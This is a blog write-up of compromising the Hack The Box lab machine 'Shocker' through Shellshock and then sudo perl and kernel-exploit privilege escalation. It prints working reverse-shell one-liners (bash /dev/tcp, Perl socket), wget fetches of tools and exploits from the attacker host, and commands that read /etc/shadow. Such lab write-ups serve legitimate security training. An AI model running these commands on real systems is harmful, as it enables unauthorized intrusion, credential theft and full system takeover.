Disclaimer
This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn about ethical hacking and penetration testing.
You shall not misuse the information to gain unauthorized access. Performing hack attempts (without permission) on computers that you do not own is illegal.
Hello Everyone!
Today we are going to look the steps I followed to get root on Shocker, a vulnerable machine on Hack the Box. Hack The Box is an online platform allowing you to test and advance your skills in cyber security.
Before we start, some terminology:
Attacker Machine: typically your Kali, Parrot, etc machine that you use to connect to the HTB Lab. In this example I'm using an IP address of 10.10.14.17. Notice that in the case of Hack the box this IP will change since it is assigned by the VPN server which assigns an IP on the 10.10.x.x network.
Target Machine: the machine we are attacking (notice that this is a lab environment we do have express permission to attack this machine). The IP address for the target machine is 10.10.10.56
Fingerprinting, Scanning and Enumeration
I started analyzing this box with a Service and Default Scripts nmap Scan:
nmap -sSVC 10.10.10.56
SSH was running on port 2222, not extremely unusual, but not the standard port either. I started looking at the ssh version and then looked for some exploits since it seemed to be affected by CVE-2016-6210.
The Searchploit results looked promising:
There is an Exploit on exploit DB an even a Metasploit auxiliary module, but after trying this route for a good while it turned out to be a dead end.
I moved on to port 80.
After checking port 80, I found the following web site.
Now the name of the box itself plus the "Don't Bug Me" kinda gave me an idea of what I was looking for (it looked like I was looking for a "Shocking" bug? )
I started Fuzzing some directories with ffuf:
TIP: Right before you start working on the machine add the IP of the victim as a variable (I use TGT for TARGET and ATT for ATTACKER), that way you can easily copy/paste from your cheat sheet without having to modify anything. For example as I began working on this box I added the following:
export TGT=10.10.10.56
Then I added this variable I was getting ready to fire ffuf:
export wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Finally all I had to do was copy the following line from my cheatsheet:
ffuf -w $wordlist -u http://$TGT/FUZZ -o output.txt -replay-proxy http://127.0.0.1:8080 -e "/"
The results from ffuf didn't reveal much with the exception of the /cgi-bin/ folder which responded back with a 403 Forbidden.
I decided to look into this folder a little more. I added some common CGI file extensions and used a new wordlist this time. (I have to admit that at some point I was stuck for hours and I had to look for a hint. I wasn't using the right set of file extensions at first, I had no idea that CGIs could use a .sh extension. TIL ... ;))
The following URL responded with a 200 OK
I decided to check it out and found the following page:
This appeared to be a simple shell script that checked the system's load.
Now the name of the machine is already a hint, so to confirm what I suspected I ran nitko against that URL using the -CGIDir parameter:
nikto -host $TGT -Cgidirs /cgi-bin/user.sh
Nikto confirmed what I suspected, the URL under /cgi-bin/ is vulnerable to ShellShock (hence the name of the machine)
Exploitation
Manual Exploit
After a quick search on EDB I found the following exploit:
Apache mod_cgi - 'Shellshock' Remote Command Injection
So, after reviewing the exploit I decided to run it:
python 34900.py payload=reverse rport=8 lhost=10.10.14.7 lport=9999 pages=/cgi-bin/user.sh rhost=10.10.10.56
And boom, there's my user access (and flag):
Metasploit Module
As with many other exploits Metasploit has a Module to exploit this vulnerability, so I decided to give it a try too:
msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set TARGETURI /cgi-bin/user.sh
set RHOST 10.10.10.56
set Payload /linux/x86/shell/reverse_tcp
set LHOST 10.10.14.7
set LPORT 7777
run
And that also worked pretty well.
Privilege Escalation
PE Route 1: Manual Exploitation
I didn't really like the shell generated by the manual exploit so I switched to a regular reverse shell with bash:
nc -nlvp 7000
bash -i >& /dev/tcp/10.10.14.7/7000 0>&1
Once that was done I downloaded my "Linux Privilege Escalation Bundle" (Linpeas.sh, LinEnum.sh and LSE.sh):
cd /tmp
export ATT=10.10.14.7
wget "http://$ATT/files/Linpeas.sh" && wget "http://$ATT/files/LinEnum.sh" && wget "http://$ATT/files/LSE.sh" && chmod +x *.sh && ls -la
I only ended running LSE.sh since it identified something that caught my attention:
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Which meant that perl scripts or one liners could be run as root without the need of a password.
You can manually verify the output of the LSE script by issuing the sudo -l command
sudo -l
I tested this with a few commands:
First, I ran the he following Perl command which prints the first field of the /etc/passwd
perl -F: -lane 'print $F[0]' /etc/passwd
Now, this was something that the user Shelly could already access, so no secrets there.
Then I ran the same command but for the /etc/shadow.
perl -F: -lane 'print $F[1]' /etc/shadow
Here is the output of those two commands:
And as expected I got a permission denied for the /etc/shadow, since regular users shouldn't have access to it.
Now let's try with sudo
sudo perl -F: -lane 'print $F[0]' /etc/shadow
sudo perl -F: -lane 'print $F[1]' /etc/shadow
The fact that I was able to read the shadow file (F0 is the user and F1 the password's hash), confirmed that I could run commands as root.
I proceeded to start a new listener on port 9001 on my local machine and then used a Perl reverse shell to connect back to my machine using sudo.
nc -nlvp 9001
sudo perl -e 'use Socket;$i="10.10.14.7";$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
And I got ROOT :)
PE Route 2: Kernel Exploit
According to the uname command the system is running the Linux Kernel version 4.4.0-96
uname -a
Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
After reviewing the Kernel version and doing some Googling I found the following Exploit on Exploit DB which seemed like a good candidate:
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation
I copied the exploit from the searchploit and downloaded it using wget however for some reason it looked like gcc was not installed on the machine so I couldn't compile it there (or at least I couldn't find it). Given that I have the same architecture on my Kali machine I compiled the exploit locally and then downloaded the compiled version on the victim machine.
Kali :
gcc -o exploit 44298.c
python3 -m http.server 9000
Shocker:
wget 10.10.14.7:9000/exploit
chmod +x exploit
./exploit
And that's was it, I got ROOT (again :P )
Wrapping up
Things I learned
CGI files are not limited to .cgi o .pl but can also be .sh or even .py.
This box reminded me that /cgi-bin and /cgi-bin/ are not the same thing. While I already knew this part I did not know that ffuf by default only looks for directory names without the trailing slash so if you are fuzzing directories it is always good include a -e "/" parameter so that ffuf looks for the directory name with and without the trailing slash (dirbuster style).
Mistakes I made
I spent way too much time looking for a file under /cgi-bin/ directory, I was positive that the vulnerability was there so I kept looking and trying different things. I tried all sorts of wordlists, from seclists to dirbuster's, I even switched form ffuf to gobuster to dirbuster.
At the end of the day I ended looking for a hint which pointed me in the right direction (the .sh extension) that and was probably the real mistake, not asking for help or looking for hints after some reasonable time. In any case while you should try at all costs to do this on your own but for the learning experience it is OK to ask for help. Some things you just don't know ¯_(ツ)_/¯ (yet)
References
One resource that found to be very useful especially if you are getting used to ffuf is Codingo's Everything you need to know about FFUF
Finally, if you enjoyed this and you feel like buying me a beer, please knock yourself out:
Happy Hacking!
~Ragab0t 🤖